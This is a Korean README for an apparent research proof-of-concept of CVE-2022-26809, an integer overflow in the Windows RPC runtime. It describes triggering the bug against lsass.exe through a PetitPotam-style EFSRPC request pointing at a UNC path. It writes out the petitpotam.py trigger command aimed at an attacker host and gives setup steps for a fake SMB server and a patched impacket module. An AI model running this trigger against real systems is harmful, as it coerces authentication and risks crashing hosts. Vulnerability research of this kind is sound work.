
CVE-2022-26809에 대한 PoC 및 분석, Windows RPC 런타임 정수 오버플로 취약점입니다. PetitPotam 스타일 UNC 경로 릴레이를 사용하여 ESFRPC 요청을 통해 lsass.exe를 익스플로잇하는 트리거 스크립트를 포함합니다.
이 저장소는 단순히 CVE에 대한 연구를 위한 것입니다. 더 자세한 분석은 여기를 참조하세요.
업데이트: 2022-05-19
이 분석은 아직 완료되지 않았습니다....
업데이트: 2022-05-22
HuanGMz 글과 corelight 블로그에서 실제 취약점을 보여줍니다:
OSF_CASSOCIATION::ProcessBindAckOrNak

이 취약점은 CVE-2021-43893과 유사하게 트리거됩니다. UNC 경로를 사용하여 ESFRPC 요청을 lsass.exe에 보내면, 피해자는 대상에 클라이언트로 접근하려고 시도하여 클라이언트 API에서 정수 오버플로우가 발생합니다.
이 취약점을 트리거하는 더 나은 해결책이 있다면, issue나 pr을 자유롭게 제출해 주세요 :)
취약점이 CVE-2021-43893처럼 트리거되므로, PetitPotam 코드를 클론하기만 하면 됩니다.
다음과 같이 환경을 준비하세요:

rpcrt.py를 원본으로 교체한 후 fake_smb_server.py를 실행합니다 (Windows에서는 445 포트가 시스템에 의해 점유되어 있으므로 Linux에 서비스를 배포하는 것이 좋습니다).python petitpotam.py -pipe lsarpc -method DecryptFileSrv -debug "user:[email protected]" "\\attacker.path\realfile
lsass.exe에 대해 페이지 힙을 활성화하세요 (하지만 저는 BSoD 트리거에 성공하지 못했습니다. windbg에 따르면 정수 오버플로우가 트리거되었습니다).이전 설명
다음은 Windows RPC 취약점 CVE-2022-26809의 재현 코드이며, https://github.com/microsoft/Windows-classic-samples/blob/main/Samples/Win7Samples/netds/rpc/hello를 참조했습니다.
제 파이썬 버전은 3.6.7입니다.
GetCoalescedBuffer가 실제 CVE-2022-26809와 관련이 있을지 확실하지 않아 일단 유지합니다.
poc.py는 취약 함수 OSF_SCALL::GetCoalescedBuffer를 시도할 뿐이며, dword 정수 오버플로우를 재현하기가 너무 어렵기 때문에 충돌이 발생하지 않습니다. 그리고 rpcrt.py는 파이썬 패키지 impacket.dcerpc.v5.rpcrt이며, 취약점을 트리거하기 위해 원본으로 교체하세요 (원본을 백업하는 것을 잊지 마세요 :) rpcrt.py에는 버그가 많다고 생각합니다).
작동하지 않으면 wireshark가 버그를 찾는 데 도움이 될 수 있습니다.
필요한 경우 nmake를 사용하여 다시 빌드하세요.